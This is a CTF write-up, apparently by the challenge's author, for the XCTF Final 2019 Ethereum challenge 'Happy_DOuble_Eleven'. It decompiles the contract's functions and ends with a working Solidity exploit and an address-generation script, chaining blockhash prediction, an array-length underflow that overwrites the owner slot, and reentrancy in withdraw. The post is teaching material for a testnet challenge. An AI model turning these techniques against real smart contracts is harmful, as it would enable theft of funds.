Fork me on GitHub
pikachu's Blog

xctf final 2019 Happy_DOuble_Eleven

前言

  • 前两天设计了一个区块链的题目,其中出现了很多问题,还好在比赛第一天夜里修复了问题,在这里简单记录一下,给各位师傅带来了麻烦,表示歉意(emmm),下面先说明一下每个版本都修复了什么问题
    • 第一个版本我就是头脑发热,把题目设计成 1000 eth 就能拿到 flag ,我真是弟弟行为,还好及时下线
    • 第二个版本是任意地址写条件没有控制的很苛刻,导致天枢利用了这一点,在非预期做出题目之后,把 codexlength 给修改成了一个相对小的数值,造成其他队伍没法做题,这一点被有心之人利用了,他们写了个脚本一直攻击刚部署上的合约,修改数组长度(23333,硬生生被玩成了AD)
    • 第三个版本是修复了版本二的问题,应该是可以正常做题的
    • 后来仔细思考了一下,版本三还是有一些问题的,不过选手做题的时候没有遇到,但是担心会出问题,所以就有了最终版本四(其实版本四也有一些问题,在 buy() 中有一条 require(storage[0x02]==1) 限制,虽然在 payforflag 后会回到初始化状态,但是这里头铁使用了 storage 变量,导致一个问题是如果正在解题的队伍使这个条件成立了,恰巧另外一支队伍也正在解题,那么他们就可以乘顺风车,如果这里使用 memory 变量就好了
    • 变更了版本其实主要还是想要让题目按照预期进行求解,给各个队伍造成了麻烦,表示抱歉(2333333…..),下面介绍一下题目
  • 以太坊 Ropsten 测试链
  • 合约地址:https://ropsten.etherscan.io/address/0x168892cb672a747f193eb4aca7b964bfb0aa6476
  • 题目:https://github.com/hitcxy/challenges/tree/master/2019/Happy_DOuble_Eleven

EVM 逆向

0x6bc344bc payforflag(string)

  • 要求 msg.sender == storage[0x00]
  • 要求 msg.sender12 位为 0x111
  • 要求 storage[0x06] == 0x03
  • 要求 storage[0x05] > 0x8ac7230489e80000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
function payforflag(var arg0) {
if (msg.sender != storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }

if (msg.sender & 0x0fff != 0x0111) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x06;

if (storage[keccak256(memory[0x00:0x40])] != 0x03) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;

if (storage[keccak256(memory[0x00:0x40])] <= 0x8ac7230489e80000) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;
storage[keccak256(memory[0x00:0x40])] = 0x00;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x06;
storage[keccak256(memory[0x00:0x40])] = 0x00;
storage[0x02] = (storage[0x02] & ~0xff) | 0x00;
storage[0x00] = (storage[0x00] & ~(0xff * 0x0100 ** 0x14)) | 0x00;
var var0 = 0x00;
var var1 = 0x0eed;
var var3 = var0;
var var2 = 0x01;
func_1489(var2, var3);
var0 = 0x296b9274d26b7baffb5cc93e1af19012c35ace27ba9acf1badff99d1f76dfa69;
var temp0 = arg0;
var1 = temp0;
var temp1 = memory[0x40:0x60];
var2 = temp1;
var3 = var2;
var temp2 = var3 + 0x20;
memory[var3:var3 + 0x20] = temp2 - var3;
memory[temp2:temp2 + 0x20] = memory[var1:var1 + 0x20];
var var4 = temp2 + 0x20;
var var6 = memory[var1:var1 + 0x20];
var var5 = var1 + 0x20;
var var7 = var6;
var var8 = var4;
var var9 = var5;
var var10 = 0x00;

if (var10 >= var7) {
label_0F50:
var temp3 = var6;
var4 = temp3 + var4;
var5 = temp3 & 0x1f;

if (!var5) {
var temp4 = memory[0x40:0x60];
log(memory[temp4:temp4 + var4 - temp4], [stack[-6]]);
return;
} else {
var temp5 = var5;
var temp6 = var4 - temp5;
memory[temp6:temp6 + 0x20] = ~(0x0100 ** (0x20 - temp5) - 0x01) & memory[temp6:temp6 + 0x20];
var temp7 = memory[0x40:0x60];
log(memory[temp7:temp7 + (temp6 + 0x20) - temp7], [stack[-6]]);
return;
}
} else {
label_0F3E:
var temp8 = var10;
memory[var8 + temp8:var8 + temp8 + 0x20] = memory[var9 + temp8:var9 + temp8 + 0x20];
var10 = temp8 + 0x20;

if (var10 >= var7) { goto label_0F50; }
else { goto label_0F3E; }
}
}

0xed21248c Deposit()

  • 每次 msg.value >= 0x1b1ae4d6e2ef500000 ,即 msg.value >= 500 eth ,然后 storage[0x05] += 1
  • 结合 payforflag 来看,这个操作不现实,因为 payforflag 中要求 storage[0x05] > 0x8ac7230489e80000 ,即要将 msg.value >= 500 eth 进行 0x8ac7230489e80000+1
1
2
3
4
5
6
7
8
function Deposit() {
if (msg.value < 0x1b1ae4d6e2ef500000) { return; }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x01;
}

0x24b04905 gift()

  • 要求 address(msg.sender).code.length == 0 ,即在合约 constructor 中运行即可
  • 要求 msg.sender12 位为 0x0111
  • 满足上述条件后,storage[0x04] = 100storage[0x05] += 1storage[0x06] += 1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function gift() {
var var0 = address(msg.sender).code.length;

if (var0 != 0x00) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;

if (storage[keccak256(memory[0x00:0x40])] != 0x00) { revert(memory[0x00:0x00]); }

if (msg.sender & 0x0fff != 0x0111) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;
storage[keccak256(memory[0x00:0x40])] = 0x64;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x01;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x06;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] + 0x01;
}

0x23de8635 func_06CE(arg0)

  • 这里是调用了 0xa8286acafunction
  • 总体来看,这里调用了 0xa8286aca 两次,输入同样的参数 arg0 一次, 0xa8286aca 第一次和第二次返回的结果不一样,但是一个 function 当它的参数确定时,他的返回结果也应该是确定的,而不会两次不一样,所以 0xa8286aca 这里应该是一个接口函数,我们是可以改写的,最后改变了 storage[0x02] 的值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
function func_06CE(var arg0) {
var var0 = msg.sender;
var var1 = var0 & 0xffffffffffffffffffffffffffffffffffffffff;
var var2 = 0xa8286aca;
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = (var2 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000;
var temp1 = temp0 + 0x04;
memory[temp1:temp1 + 0x20] = arg0;
var var3 = temp1 + 0x20;
var var4 = 0x20;
var var5 = memory[0x40:0x60];
var var6 = var3 - var5;
var var7 = var5;
var var8 = 0x00;
var var9 = var1;
var var10 = !address(var9).code.length;

if (var10) { revert(memory[0x00:0x00]); }

var temp2;
temp2, memory[var5:var5 + var4] = address(var9).call.gas(msg.gas).value(var8)(memory[var7:var7 + var6]);
var4 = !temp2;

if (!var4) {
var1 = memory[0x40:0x60];
var2 = returndata.length;

if (var2 < 0x20) { revert(memory[0x00:0x00]); }

if (memory[var1:var1 + 0x20]) {
label_0850:
return;
} else {
storage[0x03] = arg0;
var1 = var0 & 0xffffffffffffffffffffffffffffffffffffffff;
var2 = 0xa8286aca;
var temp3 = memory[0x40:0x60];
memory[temp3:temp3 + 0x20] = (var2 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000;
var temp4 = temp3 + 0x04;
memory[temp4:temp4 + 0x20] = storage[0x03];
var3 = temp4 + 0x20;
var4 = 0x20;
var5 = memory[0x40:0x60];
var6 = var3 - var5;
var7 = var5;
var8 = 0x00;
var9 = var1;
var10 = !address(var9).code.length;

if (var10) { revert(memory[0x00:0x00]); }

var temp5;
temp5, memory[var5:var5 + var4] = address(var9).call.gas(msg.gas).value(var8)(memory[var7:var7 + var6]);
var4 = !temp5;

if (!var4) {
var1 = memory[0x40:0x60];
var2 = returndata.length;

if (var2 < 0x20) { revert(memory[0x00:0x00]); }

storage[0x02] = !!memory[var1:var1 + 0x20] | (storage[0x02] & ~0xff);
goto label_0850;
} else {
var temp6 = returndata.length;
memory[0x00:0x00 + temp6] = returndata[0x00:0x00 + temp6];
revert(memory[0x00:0x00 + returndata.length]);
}
}
} else {
var temp7 = returndata.length;
memory[0x00:0x00 + temp7] = returndata[0x00:0x00 + temp7];
revert(memory[0x00:0x00 + returndata.length]);
}
}

0x9189fec1 guess(uint256)

  • 要求 arg0 == block.blockHash(block.number - 0x01) % 3 ,这个很容易满足,因为利用区块号生成的随机数是可预测的
  • 满足要求后,storage[0x00] = (storage[0x00] & ~(0xff * 0x0100 ** 0x14)) | 0x0100 ** 0x14 ,即 storage[0x00] 的高 96 位数值为1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
function guess(var arg0) {
var var1 = 0x00;
var var0 = block.blockHash(block.number - 0x01);
var var2 = 0x03;
var var3 = var0;

if (!var2) { assert(); }

var1 = var3 % var2;

if (var1 != arg0) { return; }

storage[0x00] = (storage[0x00] & ~(0xff * 0x0100 ** 0x14)) | 0x0100 ** 0x14;
}

0xa6f2ae3a buy()

  • 要求 storage[0x06] == 1 ,这些调用 gift() 空投可以完成
  • 要求 storage[0x05] == 1 ,这些调用 gift() 空投可以完成
  • 要求 storage[02] == 1 ,结合 func_06CE 来看,只需使得 0xa8286aca 第二次调用返回 1 即可
  • 要求 storage[0x00] / 0x0100 ** 0x14 & 0xff == 1 ,即 storage[0x00] 的高 96 位数值要求为 1 ,这个满足 guess 即可
  • 满足上述要求后,storage[0x05] += 1storage[0x06] += 1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function buy() {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x06;

if (storage[keccak256(memory[0x00:0x40])] != 0x01) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;

if (storage[keccak256(memory[0x00:0x40])] != 0x01) { revert(memory[0x00:0x00]); }

if (!!(storage[0x02] & 0xff) != !!0x01) { revert(memory[0x00:0x00]); }

if (!!(storage[0x00] / 0x0100 ** 0x14 & 0xff) != !!0x01) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x01;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x06;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] + 0x01;
}

0x47f57b32 retract()

  • 要求 storage[0x01] == 0
  • 要求 storage[0x05] == 0x02 ,调用 gift 后,再调用 buy 即可
  • 要求 storage[0x06] == 0x02 ,调用 gift 后,再调用 buy 即可
  • 要求 storage[0x00] / 0x0100 ** 0x14 & 0xff == 0x01 ,即 storage[0x00] 的高 96 位数值要求为 1 ,这个满足 guess 即可
  • 满足上述要求之后,storage[0x01] -= 0x1 ,这里应该是修改数组的长度
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function retract() {
if (storage[0x01] != 0x00) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;

if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x06;

if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }

if (!!(storage[0x00] / 0x0100 ** 0x14 & 0xff) != !!0x01) { revert(memory[0x00:0x00]); }

var var0 = storage[0x01] - 0x01;
var var1 = 0x0cf4;
var var2 = 0x01;
var var3 = var0;
func_1489(var2, var3);
}

0x0339f300 revise(uint256,bytes32)

  • 要求 storage[0x01] >= 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000 ,经过 retract() 后即可满足
  • 要求 storage[0x05] == 0x02
  • 要求 storage[0x06] == 0x02
  • 要求 storage[0x00] / 0x0100 ** 0x14 & 0xff == 0x01 ,即 storage[0x00] 的高 96 位数值要求为 1 ,这个满足 guess 即可
  • 要求 arg0 >= storage[0x01]
  • 满足上述要求后,后面进行了 storage 写操作,这里是任意写操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
function revise(var arg0, var arg1) {
if (storage[0x01] < 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;

if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x06;

if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }

if (!!(storage[0x00] / 0x0100 ** 0x14 & 0xff) != !!0x01) { revert(memory[0x00:0x00]); }

var var0 = arg1;
var var1 = 0x01;
var var2 = arg0;

if (var2 >= storage[var1]) { assert(); }

memory[0x00:0x20] = var1;
storage[keccak256(memory[0x00:0x20]) + var2] = var0;

if (storage[0x01] >= 0xffffffffff000000000000000000000000000000000000000000000000000000) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x06;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x01;
return;
} else {
var0 = 0x00;
var1 = 0x0676;
var2 = 0x01;
var var3 = var0;
func_1489(var2, var3);
revert(memory[0x00:0x00]);
}
}

0xa9059cbb transfer(address,uint256)

  • 这里是进行 storage[0x04] 之间的转账操作
1
2
3
4
5
6
7
8
9
function transfer(var arg0, var arg1) returns (var r0) {
var var0 = 0x00;
var var1 = 0x11d7;
var var2 = msg.sender;
var var3 = arg0;
var var4 = arg1;
func_126F(var2, var3, var4);
return 0x01;
}

0x2e1a7d4d withdraw(uint256)

  • 要求 storage[0x05] == 0x02
  • 要求 storage[0x06] == 0x03
  • 要求退款每次 < 100
  • 要求 storage[0x04] < arg0,即余额比每次退款要多
  • 要求合约余额比退款要多
  • 满足条件后,storage[0x04] -= arg0 ,然后调用 call 函数进行转账(这里存在重入攻击,因为没有对 gas 做控制),最后 storage[0x05] -= 0x01
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function withdraw(var arg0) {
if (msg.sender != storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;

if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x06;

if (storage[keccak256(memory[0x00:0x40])] != 0x03) { revert(memory[0x00:0x00]); }

if (arg0 < 0x64) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;

if (storage[keccak256(memory[0x00:0x40])] < arg0) { revert(memory[0x00:0x00]); }

if (address(address(this)).balance < arg0) { revert(memory[0x00:0x00]); }

var temp0 = arg0;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] - temp0;
var temp2 = memory[0x40:0x60];
memory[temp2:temp2 + 0x00] = address(msg.sender).call.gas(msg.gas).value(temp0)(memory[temp2:temp2 + memory[0x40:0x60] - temp2]);
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;
var temp3 = keccak256(memory[0x00:0x40]);
storage[temp3] = storage[temp3] - 0x01;
}

分析

  • 通过上面的分析后,这样整个攻击链就出来了
    • 生成符合要求的外部账户,在 constructor 中调用 gift()
    • 调用 0x23de8635 func_06CE ,这里要利用 bytecode 的方式部署,因为我们不知道 func_06CE 中调用的接口函数 0xa8286aca 的函数名,所以利用 bytecode 的方式部署第三方合约,将 fake(uint256) 对应的函数选择 id 改为 0xa8286aca 即可,这样调用 0xa8286aca 就是调用我们重写之后的 0xa8286aca 了,用 bytecode 部署可以用在线的 myetherwallet.com
    • 调用 guess() ,然后调用 buy()
    • 调用 retract()revise() 修改 owner
    • 部署第三方子合约,第三方子合约调用 gift()transfer() 给攻击合约转账,然后调用 withdraw() 进行重入攻击
    • 最后调用 payforflag 即可

exp

  • 外部账户满足其部署的第一个合约地址最后 12 位是 0x111
  • 可以用下述脚本生成,generate_eoa1() 是生成外部账户最后 12 位为 0x111generate_eoa2() 是生成满足外部账户部署的第一个合约最后 12 位是 0x111 ,我们用 generate_eoa2() 即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from ethereum import utils
import os, sys

# generate EOA with appendix 1b1b
def generate_eoa1():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))

while not addr.lower().endswith("111"):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))

print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))


# generate EOA with the ability to deploy contract with appendix 1b1b
def generate_eoa2():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))

while not utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith("111"):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))


print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))


if __name__ == "__main__":
if sys.argv[1] == "1":
generate_eoa1()
elif sys.argv[1] == "2":
generate_eoa2()
else:
print("Please enter valid argument")
  • exp如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
pragma solidity ^0.4.23;

contract hack {
address instance_address = 0x168892cb672a747f193eb4aca7b964bfb0aa6476;
uint have_withdraw = 0;

int cnt = 0;

constructor() payable {
// gift()
address(instance_address).call(bytes4(0x24b04905));
}

function step1() public {
// storage[0x02] == 1
address(instance_address).call(bytes4(0x23de8635), 0);
}

function fake(uint256 _i) public returns(uint256) {
if(cnt == 1) {
return 1;
}
cnt = 1;
return 0;
}

function step2() public {
// guess(uint256)
uint256 v = uint256(block.blockhash(block.number-1)) % 3;
address(instance_address).call(bytes4(0x9189fec1), v);
// buy()
address(instance_address).call(bytes4(0xa6f2ae3a));
}

function step3() public {
// retract()
assert(address(instance_address).call(bytes4(0x47f57b32)));
}

function step4() public {
// revise(uint256,bytes32)
uint256 solt = 2**256-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6;
address(instance_address).call(bytes4(0x0339f300), solt, 2**160 + uint256(address(this)));
}

function step5() public {
// withdraw
address(instance_address).call(bytes4(0x2e1a7d4d), 100);
}

function() payable {
if (have_withdraw <=2 && msg.sender == instance_address) {
have_withdraw += 1;
address(instance_address).call(bytes4(0x2e1a7d4d), 100);
}
}

function step6(string b64email) public {
address(instance_address).call(bytes4(0x6bc344bc), b64email);
}
}

contract son {
address instance_address = 0x168892cb672a747f193eb4aca7b964bfb0aa6476;

constructor() payable {
// gift()
address(instance_address).call(bytes4(0x24b04905));
// transfer
address(instance_address).call(bytes4(0xa9059cbb), address(0x2db8f907965a5742f16f82cddced585f8bc04111), 100);
}
}
---------------- The End ----------------
谢谢大爷~

Author:pikachu
Link:https://hitcxy.com/2019/Happy-DOuble-Eleven/
Contact:hitcxy@hotmail.com
本文基于 知识共享署名-相同方式共享 4.0 国际许可协议发布
转载请注明出处,谢谢!